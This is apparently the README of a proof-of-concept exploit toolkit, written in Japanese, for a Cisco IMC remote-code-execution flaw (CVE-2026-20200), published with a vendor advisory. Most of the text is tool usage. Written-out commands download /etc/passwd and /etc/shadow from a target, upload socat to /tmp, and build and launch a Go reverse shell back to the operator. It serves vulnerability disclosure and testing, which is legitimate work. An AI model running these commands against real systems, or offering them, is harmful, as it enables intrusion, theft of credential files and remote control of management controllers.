
PoCツールキット: Cisco IMC RCE CVE-2026-20200 を悪用するためのツールキット
Christoph Peil @ NSIDE ATTACK LOGIC 2026
CVE: CVE-2026-20200
CVSS v3.1 (CISCO): 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS v3.1 (NSIDE): 9.9 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
アドバイザリ: NSIDE-SA-2026-003
ブログ記事: https://www.nsideattacklogic.de/en/cisco-imc-when-remote-management-becomes-a-backdoor-cve-2026-20200/
この proof-of-concept はデモンストレーションのみを目的としており、違法行為への使用は許可されていません。 NSIDE ATTACK LOGIC は、このコードの使用または誤用によって生じたいかなる損害についても責任を負いません。
このエクスプロイトは、ファイルのダウンロード、ファイルのアップロード、リバースシェルの起動を可能にします。PoC の複数の Python ファイル、shell フォルダ、download フォルダが含まれています。
download フォルダには、サーバーからダウンロードされたすべてのファイルが、その名前(例: /etc/passwd > passwd)で配置されます。
shell フォルダには、リバースシェルに必要なすべてのものが含まれています。lib.so は、ARM 用にビルドされた小さなライブラリで、IMC 上の /tmp/main でバイナリを簡単に実行するためのものです。そのビルドに使用された正確なコマンドは util.py に記載されています。また、このフォルダには reverse_shell.go.example も置かれています。これは小さな Go 製リバースシェルで、リバースシェルに使用するローカル IP を含めるために、事前にコンパイルする必要があります。
リバースシェルを動作させるには、まず -a build アクションでビルドする必要があります。
sudo apt install golang-go
pip install -r requirements.txt
Usage: CIMCown.py [-h] [--proxy PROXY] -t HOST -u USERNAME -p PASSWORD [-a ACTION] [-v]
options:
-h, --help show this help message and exit
--proxy PROXY Set proxy to use, e.g. 127.0.0.1:8080 (Default: NONE)
-t, --host HOST Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
-U, --username USERNAME
-P, --password PASSWORD
-a, --action ACTION Action: test, download, upload, build, shell (default: test)
Test will connect to the CIMC and download the file /etc/passwd
-u, --uploadFile UPLOADFILE
File to upload
-p, --remoteFile REMOTEFILE
Remote file path to upload to
-d, --downloadFile DOWNLOADFILE
File to download, is saved into 'Download'
-v, --verbose Displays more information about cimc
ユーザー名とパスワードには、大文字の U と大文字の P を使用することに注意してください!
python ./CIMCown.py -U testAdmin -P testPassword -a test -t 192.168.10.2
python ./CIMCown.py -U testAdmin -P testPassword -a download -d '/etc/shadow' -t 192.168.10.2
python ./CIMCown.py -U testAdmin -P testPassword -a upload -u './shell/socat' -p '/tmp/socat' -t 192.168.10.2
python ./CIMCown.py -U testAdmin -P testPassword -a build
# action 'build' is needed before for local IP in revShell
python ./CIMCown.py -U testAdmin -P testPassword -a shell